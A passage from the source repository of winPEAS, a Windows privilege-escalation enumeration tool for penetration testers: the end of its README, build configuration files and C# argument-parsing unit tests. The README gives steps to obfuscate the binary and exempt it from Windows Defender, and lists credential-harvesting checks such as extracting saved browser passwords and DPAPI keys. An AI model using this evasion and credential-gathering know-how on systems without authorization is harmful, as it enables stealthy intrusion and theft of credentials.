\"dotfuscator\"* and just follow the instructions to install it.\n\nTo use **dotfuscator** you will need to **create an account** *(they will send you an email to the address you set during registration*).\n\nOnce you have installed and activated it you need to:\n1. **Compile** winpeas in VisualStudio\n2. **Open dotfuscator** app\n3. **Open** in dotfuscator **winPEAS.exe compiled**\n4. Click on **Build**\n5. The **single, minimized and obfuscated binary** will appear in a **folder called Dotfuscator inside the folder were winPEAS.exe** and the DLL were (this location will be saved by dotfuscator and by default all the following builds will appear in this folder).\n\n**I'm sorry that all of this is necessary but is worth it. Dotfuscator minimizes a bit the size of the executable and obfuscates the code**.\n\n![](https://raw.githubusercontent.com/peass-ng/PEASS-ng/master/winPEAS/winPEASexe/images/dotfuscator.PNG)\n\n**IMPORTANT**: Note that Defender will higly probable delete the winpeas iintial unobfuscated version, so you need to set as expections the origin folder of Winpeas and the folder were the obfuscated version will be saved:\n![](https://user-images.githubusercontent.com/1741662/148418852-e7ffee6a-c270-4e26-bf38-bb8977b3ad9c.png)\n</details>\n\n## Checks\n\n<details>\n  <summary>Details</summary>\n\n- **System Information**\n  - [x] Basic System info information\n  - [x] Use embedded definitions to flag known exploitable vulnerabilities for the running Windows version (version-based)\n  - [x] Enumerate Microsoft updates\n  - [x] PS, Audit, WEF and LAPS Settings\n  - [x] LSA protection\n  - [x] Credential Guard\n  - [x] WDigest\n  - [x] Number of cached cred\n  - [x] Environment Variables\n  - [x] Internet Settings\n  - [x] Current drives information\n  - [x] AV\n  - [x] Windows Defender\n  - [x] UAC configuration\n  - [x] NTLM Settings\n  - [x] Local Group Policy\n  - [x] Applocker Configuration & bypass suggestions\n  - [x] Printers\n  - [x] Named Pipes\n  - [x] Named Pipe ACL abuse candidates\n  - [x] AMSI Providers\n  - [x] SysMon\n  - [x] .NET Versions\n\n- **Users Information**\n  - [x] Users information\n  - [x] Current token privileges\n  - [x] Clipboard text\n  - [x] Current logged users\n  - [x] RDP sessions\n  - [x] Ever logged users\n  - [x] Autologin credentials\n  - [x] Home folders\n  - [x] Password policies\n  - [x] Local User details\n  - [x] Logon Sessions\n\n- **Processes Information**\n  - [x] Interesting processes (non Microsoft)\n\n- **Services Information**\n  - [x] Interesting services (non Microsoft) information\n  - [x] Modifiable services\n  - [x] Writable service registry binpath\n  - [x] PATH Dll Hijacking\n\n- **Applications Information**\n  - [x] Current Active Window\n  - [x] Installed software\n  - [x] AutoRuns\n  - [x] Scheduled tasks\n  - [x] Device drivers\n\n- **Network Information**\n  - [x] Current net shares\n  - [x] Mapped drives (WMI)\n  - [x] hosts file\n  - [x] Network Interfaces\n  - [x] Listening ports\n  - [x] Firewall rules\n  - [x] DNS Cache (limit 70)\n  - [x] Internet Settings\n\n- **Cloud Metadata Enumeration**\n  - [x] AWS Metadata\n  - [x] GCP Metadata\n  - [x] Azure Metadata\n\n- **Windows Credentials**\n  - [x] Windows Vault\n  - [x] Credential Manager\n  - [x] Saved RDP settings\n  - [x] Recently run commands\n  - [x] Default PS transcripts files\n  - [x] DPAPI Masterkeys\n  - [x] DPAPI Credential files\n  - [x] Remote Desktop Connection Manager credentials\n  - [x] Kerberos Tickets\n  - [x] Wifi\n  - [x] AppCmd.exe\n  - [x] SSClient.exe\n  - [x] SCCM\n  - [x] Security Package Credentials\n  - [x] AlwaysInstallElevated\n  - [x] WSUS (HTTP downgrade + CVE-2025-59287 exposure)\n\n- **Browser Information**\n  - [x] Firefox DBs\n  - [x] Credentials in firefox history\n  - [x] Chrome DBs\n  - [x] Credentials in chrome history\n  - [x] Current IE tabs\n  - [x] Credentials in IE history\n  - [x] IE Favorites\n  - [x] Extracting saved passwords for: Firefox, Chrome, Opera, Brave\n\n- **Interesting Files and registry**\n  - [x] Putty sessions\n  - [x] Putty SSH host keys\n  - [x] SuperPutty info\n  - [x] Office365 endpoints synced by OneDrive\n  - [x] SSH Keys inside registry\n  - [x] Cloud credentials\n  - [x] Check for unattended files\n  - [x] Check for SAM & SYSTEM backups\n  - [x] Check for cached GPP Passwords\n  - [x] Check for and extract creds from McAffe SiteList.xml files\n  - [x] Possible registries with credentials\n  - [x] Possible credentials files in users homes\n  - [x] Possible password files inside the Recycle bin\n  - [x] Possible files containing credentials (this take some minutes)\n  - [x] User documents (limit 100)\n  - [x] Oracle SQL Developer config files check\n  - [x] Slack files search\n  - [x] Outlook downloads\n  - [x] Machine and user certificate files\n  - [x] Office most recent documents\n  - [x] Hidden files and folders\n  - [x] Executable files in non-default folders with write permissions\n  - [x] WSL check\n\n- **Events Information**\n  - [x] Logon + Explicit Logon Events\n  - [x] Process Creation Events\n  - [x] PowerShell Events\n  - [x] Power On/Off Events\n\n- **Additional (slower) checks**\n  - [x] LOLBAS search\n  - [x] run **[linpeas.sh](https://raw.githubusercontent.com/peass-ng/PEASS-ng/master/linPEAS/linpeas.sh)** in default WSL distribution\n\n</details>\n\n## TODO\n- Add more checks\n\nIf you want to help with any of this, you can do it using **[github issues](https://github.com/peass-ng/PEASS-ng/issues)** or you can submit a pull request.\n\nIf you find any issue, please report it using **[github issues](https://github.com/peass-ng/PEASS-ng/issues)**.\n\n**WinPEAS** is being **updated** every time I find something that could be useful to escalate privileges.\n\n## Advisory\n\nAll the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.\n"
  },
  {
    "path": "winPEAS/winPEASexe/Tests/.vs/winPEAS.Tests.csproj.dtbcache.json",
    "content": "{\"RootPath\":\"C:\\\\Users\\\\carlos_hacktricks\\\\Desktop\\\\git\\\\PEASS-ng\\\\winPEAS\\\\winPEASexe\\\\Tests\",\"ProjectFileName\":\"winPEAS.Tests.csproj\",\"Configuration\":\"Debug|AnyCPU\",\"FrameworkPath\":\"\",\"Sources\":[{\"SourceFile\":\"Properties\\\\AssemblyInfo.cs\"},{\"SourceFile\":\"SmokeTests.cs\"},{\"SourceFile\":\"obj\\\\Debug\\\\.NETFramework,Version=v4.8.AssemblyAttributes.cs\"}],\"References\":[{\"Reference\":\"C:\\\\Users\\\\carlos_hacktricks\\\\Desktop\\\\git\\\\PEASS-ng\\\\winPEAS\\\\winPEASexe\\\\packages\\\\Portable.BouncyCastle.1.9.0\\\\lib\\\\net40\\\\BouncyCastle.Crypto.dll\",\"ResolvedFrom\":\"\",\"OriginalItemSpec\":\"\",\"Name\":\"\",\"EmbedInteropTypes\":false,\"CopyLocal\":false,\"IsProjectReference\":false,\"ProjectPath\":\"\"},{\"Reference\":\"C:\\\\Users\\\\carlos_hacktricks\\\\Desktop\\\\git\\\\PEASS-ng\\\\winPEAS\\\\winPEASexe\\\\packages\\\\Costura.Fody.5.7.0\\\\lib\\\\netstandard1.0\\\\Costura.dll\",\"ResolvedFrom\":\"\",\"OriginalItemSpec\":\"\",\"Name\":\"\",\"EmbedInteropTypes\":false,\"CopyLocal\":false,\"IsProjectReference\":false,\"ProjectPath\":\"\"},{\"Reference\":\"C:\\\\Users\\\\carlos_hacktricks\\\\Desktop\\\\git\\\\PEASS-ng\\\\winPEAS\\\\winPEASexe\\\\packages\\\\EntityFramework.6.4.4\\\\lib\\\\net45\\\\EntityFramework.dll\",\"ResolvedFrom\":\"\",\"OriginalItemSpec\":\"\",\"Name\":\"\",\"EmbedInteropTypes\":false,\"CopyLocal\":false,\"IsProjectReference\":false,\"ProjectPath\":\"\"},{\"Reference\":\"C:\\\\Users\\\\carlos_hacktricks\\\\Desktop\\\\git\\\\PEASS-ng\\\\winPEAS\\\\winPEASexe\\\\packages\\\\EntityFramework.6.4.4\\\\lib\\\\net45\\\\EntityFramework.SqlServer.dll\",\"ResolvedFrom\":\"\",\"OriginalItemSpec\":\"\",\"Name\":\"\",\"EmbedInteropTypes\":false,\"CopyLocal\":false,\"IsProjectReference\":false,\"ProjectPath\":\"\"},{\"Reference\":\"C:\\\\Program Files (x86)\\\\Reference Assemblies\\\\Microsoft\\\\Framework\\\\.NETFramework\\\\v4.8\\\\Microsoft.CSharp.dll\",\"ResolvedFrom\":\"\",\"OriginalItemSpec\":\"\",\"Name\":\"\",\"EmbedInteropTypes\":false,\"CopyLocal\":false,\"IsProjectReference\":false,\"ProjectPath\":\"\"},{\"Reference\":\"C:\\\\Users\\\\carlos_hacktricks\\\\Desktop\\\\git\\\\PEASS-ng\\\\winPEAS\\\\winPEASexe\\\\packages\\\\Microsoft.CodeCoverage.16.10.0\\\\lib\\\\net45\\\\Microsoft.VisualStudio.CodeCoverage.Shim.dll\",\"ResolvedFrom\":\"\",\"OriginalItemSpec\":\"\",\"Name\":\"\",\"EmbedInteropTypes\":false,\"CopyLocal\":false,\"IsProjectReference\":false,\"ProjectPath\":\"\"},{\"Reference\":\"C:\\\\Users\\\\carlos_hacktricks\\\\Desktop\\\\git\\\\PEASS-ng\\\\winPEAS\\\\winPEASexe\\\\packages\\\\MSTest.TestFramework.2.2.5\\\\lib\\\\net45\\\\Microsoft.VisualStudio.TestPlatform.TestFramework.dll\",\"ResolvedFrom\":\"\",\"OriginalItemSpec\":\"\",\"Name\":\"\",\"EmbedInteropTypes\":false,\"CopyLocal\":false,\"IsProjectReference\":false,\"ProjectPath\":\"\"},{\"Reference\":\"C:\\\\Users\\\\carlos_hacktricks\\\\Desktop\\\\git\\\\PEASS-ng\\\\winPEAS\\\\winPEASexe\\\\packages\\\\MSTest.TestFramework.2.2.5\\\\lib\\\\net45\\\\Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.dll\",\"ResolvedFrom\":\"\",\"OriginalItemSpec\":\"\",\"Name\":\"\",\"EmbedInteropTypes\":false,\"CopyLocal\":false,\"IsProjectReference\":false,\"ProjectPath\":\"\"},{\"Reference\":\"C:\\\\Program Files (x86)\\\\Reference Assemblies\\\\Microsoft\\\\Framework\\\\.NETFramework\\\\v4.8\\\\mscorlib.dll\",\"ResolvedFrom\":\"\",\"OriginalItemSpec\":\"\",\"Name\":\"\",\"EmbedInteropTypes\":false,\"CopyLocal\":false,\"IsProjectReference\":false,\"ProjectPath\":\"\"},{\"Reference\":\"C:\\\\Program Files (x86)\\\\Reference Assemblies\\\\Microsoft\\\\Framework\\\\.NETFramework\\\\v4.8\\\\System.ComponentModel.Composition.dll\",\"ResolvedFrom\":\"\",\"OriginalItemSpec\":\"\",\"Name\":\"\",\"EmbedInteropTypes\":false,\"CopyLocal\":false,\"IsProjectReference\":false,\"ProjectPath\":\"\"},{\"Reference\":\"C:\\\\Program Files (x86)\\\\Reference Assemblies\\\\Microsoft\\\\Framework\\\\.NETFramework\\\\v4.8\\\\System.ComponentModel.DataAnnotations.dll\",\"ResolvedFrom\":\"\",\"OriginalItemSpec\":\"\",\"Name\":\"\",\"EmbedInteropTypes\":false,\"CopyLocal\":false,\"IsProjectReference\":false,\"ProjectPath\":\"\"},{\"Reference\":\"C:\\\\Program Files (x86)\\\\Reference Assemblies\\\\Microsoft\\\\Framework\\\\.NETFramework\\\\v4.8\\\\System.Core.dll\",\"ResolvedFrom\":\"\",\"OriginalItemSpec\":\"\",\"Name\":\"\",\"EmbedInteropTypes\":false,\"CopyLocal\":false,\"IsProjectReference\":false,\"ProjectPath\":\"\"},{\"Reference\":\"C:\\\\Program Files (x86)\\\\Reference Assemblies\\\\Microsoft\\\\Framework\\\\.NETFramework\\\\v4.8\\\\System.Data.DataSetExtensions.dll\",\"ResolvedFrom\":\"\",\"OriginalItemSpec\":\"\",\"Name\":\"\",\"EmbedInteropTypes\":false,\"CopyLocal\":false,\"IsProjectReference\":false,\"ProjectPath\":\"\"},{\"Reference\":\"C:\\\\Program Files (x86)\\\\Reference Assemblies\\\\Microsoft\\\\Framework\\\\.NETFramework\\\\v4.8\\\\System.Data.dll\",\"ResolvedFrom\":\"\",\"OriginalItemSpec\":\"\",\"Name\":\"\",\"EmbedInteropTypes\":false,\"CopyLocal\":false,\"IsProjectReference\":false,\"ProjectPath\":\"\"},{\"Reference\":\"C:\\\\Users\\\\carlos_hacktricks\\\\Desktop\\\\git\\\\PEASS-ng\\\\winPEAS\\\\winPEASexe\\\\packages\\\\Stub.System.Data.SQLite.Core.NetFramework.1.0.119.0\\\\lib\\\\net451\\\\System.Data.SQLite.dll\",\"ResolvedFrom\":\"\",\"OriginalItemSpec\":\"\",\"Name\":\"\",\"EmbedInteropTypes\":false,\"CopyLocal\":false,\"IsProjectReference\":false,\"ProjectPath\":\"\"},{\"Reference\":\"C:\\\\Users\\\\carlos_hacktricks\\\\Desktop\\\\git\\\\PEASS-ng\\\\winPEAS\\\\winPEASexe\\\\packages\\\\System.Data.SQLite.EF6.1.0.119.0\\\\lib\\\\net451\\\\System.Data.SQLite.EF6.dll\",\"ResolvedFrom\":\"\",\"OriginalItemSpec\":\"\",\"Name\":\"\",\"EmbedInteropTypes\":false,\"CopyLocal\":false,\"IsProjectReference\":false,\"ProjectPath\":\"\"},{\"Reference\":\"C:\\\\Users\\\\carlos_hacktricks\\\\Desktop\\\\git\\\\PEASS-ng\\\\winPEAS\\\\winPEASexe\\\\packages\\\\System.Data.SQLite.Linq.1.0.119.0\\\\lib\\\\net451\\\\System.Data.SQLite.Linq.dll\",\"ResolvedFrom\":\"\",\"OriginalItemSpec\":\"\",\"Name\":\"\",\"EmbedInteropTypes\":false,\"CopyLocal\":false,\"IsProjectReference\":false,\"ProjectPath\":\"\"},{\"Reference\":\"C:\\\\Program Files (x86)\\\\Reference Assemblies\\\\Microsoft\\\\Framework\\\\.NETFramework\\\\v4.8\\\\System.dll\",\"ResolvedFrom\":\"\",\"OriginalItemSpec\":\"\",\"Name\":\"\",\"EmbedInteropTypes\":false,\"CopyLocal\":false,\"IsProjectReference\":false,\"ProjectPath\":\"\"},{\"Reference\":\"C:\\\\Program Files (x86)\\\\Reference Assemblies\\\\Microsoft\\\\Framework\\\\.NETFramework\\\\v4.8\\\\System.IO.Compression.dll\",\"ResolvedFrom\":\"\",\"OriginalItemSpec\":\"\",\"Name\":\"\",\"EmbedInteropTypes\":false,\"CopyLocal\":false,\"IsProjectReference\":false,\"ProjectPath\":\"\"},{\"Reference\":\"C:\\\\Program Files (x86)\\\\Reference Assemblies\\\\Microsoft\\\\Framework\\\\.NETFramework\\\\v4.8\\\\System.Net.Http.dll\",\"ResolvedFrom\":\"\",\"OriginalItemSpec\":\"\",\"Name\":\"\",\"EmbedInteropTypes\":false,\"CopyLocal\":false,\"IsProjectReference\":false,\"ProjectPath\":\"\"},{\"Reference\":\"C:\\\\Program Files (x86)\\\\Reference Assemblies\\\\Microsoft\\\\Framework\\\\.NETFramework\\\\v4.8\\\\System.Numerics.dll\",\"ResolvedFrom\":\"\",\"OriginalItemSpec\":\"\",\"Name\":\"\",\"EmbedInteropTypes\":false,\"CopyLocal\":false,\"IsProjectReference\":false,\"ProjectPath\":\"\"},{\"Reference\":\"C:\\\\Program Files (x86)\\\\Reference Assemblies\\\\Microsoft\\\\Framework\\\\.NETFramework\\\\v4.8\\\\Facades\\\\System.Runtime.InteropServices.RuntimeInformation.dll\",\"ResolvedFrom\":\"\",\"OriginalItemSpec\":\"\",\"Name\":\"\",\"EmbedInteropTypes\":false,\"CopyLocal\":false,\"IsProjectReference\":false,\"ProjectPath\":\"\"},{\"Reference\":\"C:\\\\Program Files (x86)\\\\Reference Assemblies\\\\Microsoft\\\\Framework\\\\.NETFramework\\\\v4.8\\\\System.Xml.dll\",\"ResolvedFrom\":\"\",\"OriginalItemSpec\":\"\",\"Name\":\"\",\"EmbedInteropTypes\":false,\"CopyLocal\":false,\"IsProjectReference\":false,\"ProjectPath\":\"\"},{\"Reference\":\"C:\\\\Program Files (x86)\\\\Reference Assemblies\\\\Microsoft\\\\Framework\\\\.NETFramework\\\\v4.8\\\\System.Xml.Linq.dll\",\"ResolvedFrom\":\"\",\"OriginalItemSpec\":\"\",\"Name\":\"\",\"EmbedInteropTypes\":false,\"CopyLocal\":false,\"IsProjectReference\":false,\"ProjectPath\":\"\"},{\"Reference\":\"C:\\\\Users\\\\carlos_hacktricks\\\\Desktop\\\\git\\\\PEASS-ng\\\\winPEAS\\\\winPEASexe\\\\winPEAS\\\\bin\\\\Debug\\\\winPEAS.exe\",\"ResolvedFrom\":\"\",\"OriginalItemSpec\":\"\",\"Name\":\"\",\"EmbedInteropTypes\":false,\"CopyLocal\":false,\"IsProjectReference\":true,\"ProjectPath\":\"C:\\\\Users\\\\carlos_hacktricks\\\\Desktop\\\\git\\\\PEASS-ng\\\\winPEAS\\\\winPEASexe\\\\winPEAS\\\\bin\\\\Debug\\\\winPEAS.exe\"}],\"Analyzers\":[],\"Outputs\":[{\"OutputItemFullPath\":\"C:\\\\Users\\\\carlos_hacktricks\\\\Desktop\\\\git\\\\PEASS-ng\\\\winPEAS\\\\winPEASexe\\\\Tests\\\\bin\\\\Debug\\\\Tests.dll\",\"OutputItemRelativePath\":\"Tests.dll\"},{\"OutputItemFullPath\":\"\",\"OutputItemRelativePath\":\"\"}],\"CopyToOutputEntries\":[]}"
  },
  {
    "path": "winPEAS/winPEASexe/Tests/App.config",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<configuration>\n  <configSections>\n    <!-- For more information on Entity Framework configuration, visit http://go.microsoft.com/fwlink/?LinkID=237468 -->\n    <section name=\"entityFramework\" type=\"System.Data.Entity.Internal.ConfigFile.EntityFrameworkSection, EntityFramework, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\" requirePermission=\"false\" />\n  </configSections>\n  <startup>\n    <supportedRuntime version=\"v4.0\" sku=\".NETFramework,Version=v4.8\" />\n  </startup>\n  <entityFramework>\n    <providers>\n      <provider invariantName=\"System.Data.SqlClient\" type=\"System.Data.Entity.SqlServer.SqlProviderServices, EntityFramework.SqlServer\" />\n      <provider invariantName=\"System.Data.SQLite.EF6\" type=\"System.Data.SQLite.EF6.SQLiteProviderServices, System.Data.SQLite.EF6\" />\n    </providers>\n  </entityFramework>\n  <system.data>\n    <DbProviderFactories>\n      <remove invariant=\"System.Data.SQLite.EF6\" />\n      <add name=\"SQLite Data Provider (Entity Framework 6)\" invariant=\"System.Data.SQLite.EF6\" description=\".NET Framework Data Provider for SQLite (Entity Framework 6)\" type=\"System.Data.SQLite.EF6.SQLiteProviderFactory, System.Data.SQLite.EF6\" />\n    <remove invariant=\"System.Data.SQLite\" /><add name=\"SQLite Data Provider\" invariant=\"System.Data.SQLite\" description=\".NET Framework Data Provider for SQLite\" type=\"System.Data.SQLite.SQLiteFactory, System.Data.SQLite\" /></DbProviderFactories>\n  </system.data>\n  <runtime>\n    <assemblyBinding xmlns=\"urn:schemas-microsoft-com:asm.v1\">\n      <dependentAssembly>\n        <assemblyIdentity name=\"System.Runtime\" publicKeyToken=\"b03f5f7f11d50a3a\" culture=\"neutral\" />\n        <bindingRedirect oldVersion=\"0.0.0.0-4.1.2.0\" newVersion=\"4.1.2.0\" />\n      </dependentAssembly>\n      <dependentAssembly>\n        <assemblyIdentity name=\"System.Runtime.CompilerServices.Unsafe\" publicKeyToken=\"b03f5f7f11d50a3a\" culture=\"neutral\" />\n        <bindingRedirect oldVersion=\"0.0.0.0-6.0.0.0\" newVersion=\"6.0.0.0\" />\n      </dependentAssembly>\n      <dependentAssembly>\n        <assemblyIdentity name=\"System.Reflection\" publicKeyToken=\"b03f5f7f11d50a3a\" culture=\"neutral\" />\n        <bindingRedirect oldVersion=\"0.0.0.0-4.1.2.0\" newVersion=\"4.1.2.0\" />\n      </dependentAssembly>\n      <dependentAssembly>\n        <assemblyIdentity name=\"System.Runtime.Extensions\" publicKeyToken=\"b03f5f7f11d50a3a\" culture=\"neutral\" />\n        <bindingRedirect oldVersion=\"0.0.0.0-4.1.2.0\" newVersion=\"4.1.2.0\" />\n      </dependentAssembly>\n      <dependentAssembly>\n        <assemblyIdentity name=\"System.Text.RegularExpressions\" publicKeyToken=\"b03f5f7f11d50a3a\" culture=\"neutral\" />\n        <bindingRedirect oldVersion=\"0.0.0.0-4.1.0.0\" newVersion=\"4.1.0.0\" />\n      </dependentAssembly>\n      <dependentAssembly>\n        <assemblyIdentity name=\"System.Linq\" publicKeyToken=\"b03f5f7f11d50a3a\" culture=\"neutral\" />\n        <bindingRedirect oldVersion=\"0.0.0.0-4.1.2.0\" newVersion=\"4.1.2.0\" />\n      </dependentAssembly>\n      <dependentAssembly>\n        <assemblyIdentity name=\"System.Diagnostics.Tracing\" publicKeyToken=\"b03f5f7f11d50a3a\" culture=\"neutral\" />\n        <bindingRedirect oldVersion=\"0.0.0.0-4.2.0.0\" newVersion=\"4.2.0.0\" />\n      </dependentAssembly>\n    </assemblyBinding>\n  </runtime>\n</configuration>"
  },
  {
    "path": "winPEAS/winPEASexe/Tests/ArgumentParsingTests.cs",
    "content": "using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Reflection;\nusing Microsoft.VisualStudio.TestTools.UnitTesting;\n\nnamespace winPEAS.Tests\n{\n    [TestClass]\n    public class ArgumentParsingTests\n    {\n        private static bool InvokeIsNetworkTypeValid(string arg)\n        {\n            var method = typeof(winPEAS.Checks.Checks).GetMethod(\"IsNetworkTypeValid\", BindingFlags.NonPublic | BindingFlags.Static);\n            Assert.IsNotNull(method, \"IsNetworkTypeValid method not found.\");\n            return (bool)method.Invoke(null, new object[] { arg });\n        }\n\n        private static bool InvokePassesMitreFilter(string[] checkIds)\n        {\n            // Build a minimal ISystemCheck stub whose MitreAttackIds returns checkIds.\n            var stub = new MitreCheckStub(checkIds);\n            var method = typeof(winPEAS.Checks.Checks).GetMethod(\"PassesMitreFilter\", BindingFlags.NonPublic | BindingFlags.Static);\n            Assert.IsNotNull(method, \"PassesMitreFilter method not found.\");\n            return (bool)method.Invoke(null, new object[] { stub });\n        }\n\n        /// <summary>Minimal ISystemCheck stub for PassesMitreFilter reflection tests.</summary>\n        private sealed class MitreCheckStub : winPEAS.Checks.ISystemCheck\n        {\n            public MitreCheckStub(string[] ids) { MitreAttackIds = ids; }\n            public string[] MitreAttackIds { get; }\n            public void PrintInfo(bool isDebug) { }\n        }\n\n        /// <summary>\n        /// Resets all public static Checks fields that arg parsing can mutate, then\n        /// invokes Program.Main with the supplied args followed by \"--help\" so execution\n        /// returns immediately after parsing without running any actual system checks.\n        /// </summary>\n        private static void ParseOnly(params string[] args)\n        {\n            // Reset every field that Checks.Run() can modify during arg parsing.\n            winPEAS.Checks.Checks.IsDomainEnumeration = false;\n            winPEAS.Checks.Checks.IsNoColor           = false;\n            winPEAS.Checks.Checks.DontCheckHostname   = false;\n            winPEAS.Checks.Checks.Banner              = true;\n            winPEAS.Checks.Checks.IsDebug             = false;\n            winPEAS.Checks.Checks.IsLinpeas           = false;\n            winPEAS.Checks.Checks.IsLolbas            = false;\n            winPEAS.Checks.Checks.IsNetworkScan       = false;\n            winPEAS.Checks.Checks.SearchProgramFiles  = false;\n            winPEAS.Checks.Checks.NetworkScanOptions  = string.Empty;\n            winPEAS.Checks.Checks.PortScannerPorts    = null;\n            winPEAS.Checks.Checks.LinpeasUrl          = \"https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh\";\n            winPEAS.Checks.Checks.MaxRegexFileSize    = 1000000;\n            winPEAS.Checks.Checks.MitreFilter.Clear();\n\n            var argsWithHelp = args.Concat(new[] { \"--help\" }).ToArray();\n            Program.Main(argsWithHelp);\n        }\n\n        [TestMethod]\n        public void ShouldAcceptValidNetworkTypes()\n        {\n            Assert.IsTrue(InvokeIsNetworkTypeValid(\"-network=auto\"));\n            Assert.IsTrue(InvokeIsNetworkTypeValid(\"-network=10.10.10.10\"));\n            Assert.IsTrue(InvokeIsNetworkTypeValid(\"-network=10.10.10.10/24\"));\n            Assert.IsTrue(InvokeIsNetworkTypeValid(\"-network=10.10.10.10,10.10.10.20\"));\n        }\n\n        [TestMethod]\n        public void ShouldRejectInvalidNetworkTypes()\n        {\n            Assert.IsFalse(InvokeIsNetworkTypeValid(\"-network=\"));\n            Assert.IsFalse(InvokeIsNetworkTypeValid(\"-network=10.10.10.999\"));\n            Assert.IsFalse(InvokeIsNetworkTypeValid(\"-network=10.10.10.10/64\"));\n            Assert.IsFalse(InvokeIsNetworkTypeValid(\"-network=999.999.999.999/24\"));\n            Assert.IsFalse(InvokeIsNetworkTypeValid(\"-network=not-an-ip\"));\n        }\n\n        // -- Space-separated argument normalisation tests --\n\n        [TestMethod]\n        public void NetworkFlag_SpaceSeparated_Netmask_SetsIsNetworkScan()\n        {\n            ParseOnly(\"-network\", \"10.0.0.0/24\");\n            Assert.IsTrue(winPEAS.Checks.Checks.IsNetworkScan,\n                \"-network 10.0.0.0/24 (space-separated) should set IsNetworkScan\");\n            Assert.AreEqual(\"10.0.0.0/24\", winPEAS.Checks.Checks.NetworkScanOptions);\n        }\n\n        [TestMethod]\n        public void NetworkFlag_SpaceSeparated_Auto_SetsIsNetworkScan()\n        {\n            ParseOnly(\"-network\", \"auto\");\n            Assert.IsTrue(winPEAS.Checks.Checks.IsNetworkScan,\n                \"-network auto (space-separated) should set IsNetworkScan\");\n            Assert.IsTrue(string.Equals(\"auto\", winPEAS.Checks.Checks.NetworkScanOptions, StringComparison.OrdinalIgnoreCase),\n                \"-network auto (space-separated) should set IsNetworkScan\");\n        }\n\n        [TestMethod]\n        public void NetworkFlag_EqualsSeparated_Netmask_SetsIsNetworkScan()\n        {\n            ParseOnly(\"-network=10.0.0.0/24\");\n            Assert.IsTrue(winPEAS.Checks.Checks.IsNetworkScan,\n                \"-network=10.0.0.0/24 (equals-separated) should set IsNetworkScan\");\n            Assert.AreEqual(\"10.0.0.0/24\", winPEAS.Checks.Checks.NetworkScanOptions);\n        }\n\n        [TestMethod]\n        public void NetworkAndPortsFlags_SpaceSeparated_BothParsedCorrectly()\n        {\n            ParseOnly(\"-network\", \"auto\", \"-ports\", \"80,443\");\n            Assert.IsTrue(winPEAS.Checks.Checks.IsNetworkScan,\n                \"-network auto -ports 80,443 should set IsNetworkScan\");\n            var ports = winPEAS.Checks.Checks.PortScannerPorts?.ToList();\n            Assert.IsNotNull(ports, \"PortScannerPorts should not be null\");\n            CollectionAssert.AreEquivalent(new List<int> { 80, 443 }, ports);\n        }\n\n        [TestMethod]\n        public void MitreFlag_SingleTechnique_ParsedIntoFilter()\n        {\n            ParseOnly(\"mitre=T1082\");\n            Assert.AreEqual(1, winPEAS.Checks.Checks.MitreFilter.Count,\n                \"mitre=T1082 should add exactly one technique to MitreFilter\");\n            Assert.IsTrue(winPEAS.Checks.Checks.MitreFilter.Contains(\"T1082\"),\n                \"MitreFilter should contain T1082\");\n        }\n\n        [TestMethod]\n        public void MitreFlag_MultipleIds_AllParsedIntoFilter()\n        {\n            ParseOnly(\"mitre=T1082,T1548.002,T1057\");\n            Assert.AreEqual(3, winPEAS.Checks.Checks.MitreFilter.Count,\n                \"mitre=T1082,T1548.002,T1057 should add three techniques to MitreFilter\");\n            Assert.IsTrue(winPEAS.Checks.Checks.MitreFilter.Contains(\"T1082\"));\n            Assert.IsTrue(winPEAS.Checks.Checks.MitreFilter.Contains(\"T1548.002\"));\n            Assert.IsTrue(winPEAS.Checks.Checks.MitreFilter.Contains(\"T1057\"));\n        }\n\n        [TestMethod]\n        public void MitreFlag_CaseInsensitive_IsRecognised()\n        {\n            ParseOnly(\"MITRE=t1082\");\n            Assert.AreEqual(1, winPEAS.Checks.Checks.MitreFilter.Count,\n                \"MITRE= (upper-case) should be accepted case-insensitively\");\n            // HashSet uses OrdinalIgnoreCase so both casing variants should be found\n            Assert.IsTrue(winPEAS.Checks.Checks.MitreFilter.Contains(\"T1082\") ||\n                          winPEAS.Checks.Checks.MitreFilter.Contains(\"t1082\"));\n        }\n\n        [TestMethod]\n        public void PassesMitreFilter_EmptyFilter_AllChecksPass()\n        {\n            winPEAS.Checks.Checks.MitreFilter.Clear();\n            Assert.IsTrue(InvokePassesMitreFilter(new[] { \"T1082\" }),\n                \"An empty MitreFilter should pass every check.\");\n            Assert.IsTrue(InvokePassesMitreFilter(new string[0]),\n                \"An empty MitreFilter should pass a check with no IDs.\");\n        }\n\n        [TestMethod]\n        public void PassesMitreFilter_ExactMatch_Passes()\n        {\n            winPEAS.Checks.Checks.MitreFilter.Clear();\n            winPEAS.Checks.Checks.MitreFilter.Add(\"T1082\");\n            Assert.IsTrue(InvokePassesMitreFilter(new[] { \"T1082\" }),\n                \"A check tagged T1082 should pass when filter contains T1082.\");\n        }\n\n        [TestMethod]\n        public void PassesMitreFilter_NoMatch_Fails()\n        {\n            winPEAS.Checks.Checks.MitreFilter.Clear();\n            winPEAS.Checks.Checks.MitreFilter.Add(\"T1082\");\n            Assert.IsFalse(InvokePassesMitreFilter(new[] { \"T1057\" }),\n                \"A check tagged T1057 should not pass when filter only contains T1082.\");\n        }\n\n        [TestMethod]\n        public void PassesMitreFilter_PrefixMatch_Passes()\n        {\n            // Filter on base technique T1552 should match sub-technique T1552.001\n            winPEAS.Checks.Checks.MitreFilter.Clear();\n            winPEAS.Checks.Checks.MitreFilter.Add(\"T1552\");\n            Assert.IsTrue(InvokePassesMitreFilter(new[] { \"T1552.001\" }),\n                \"Filter on T1552 should match a check tagged T1552.001 (prefix match).\");\n            Assert.IsTrue(InvokePassesMitreFilter(new[] { \"T1552.005\" }),\n                \"Filter on T1552 should match a check tagged T1552.005 (prefix match).\");\n        }\n\n        [TestMethod]\n        public void PassesMitreFilter_SubtechniqueDoesNotMatchDifferentBase_Fails()\n        {\n            winPEAS.Checks.Checks.MitreFilter.Clear();\n            winPEAS.Checks.Checks.MitreFilter.Add(\"T1548\");\n            Assert.IsFalse(InvokePassesMitreFilter(new[] { \"T1552.001\" }),\n                \"Filter on T1548 must not match T1552.001.\");\n        }\n\n        [TestMethod]\n        public void 